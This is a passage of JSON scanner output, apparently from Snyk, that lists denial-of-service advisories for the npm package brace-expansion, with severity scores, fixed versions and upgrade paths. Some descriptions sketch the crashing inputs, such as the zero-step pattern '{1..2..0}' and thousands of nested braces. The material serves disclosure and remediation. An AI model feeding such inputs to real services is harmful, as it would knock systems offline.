"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
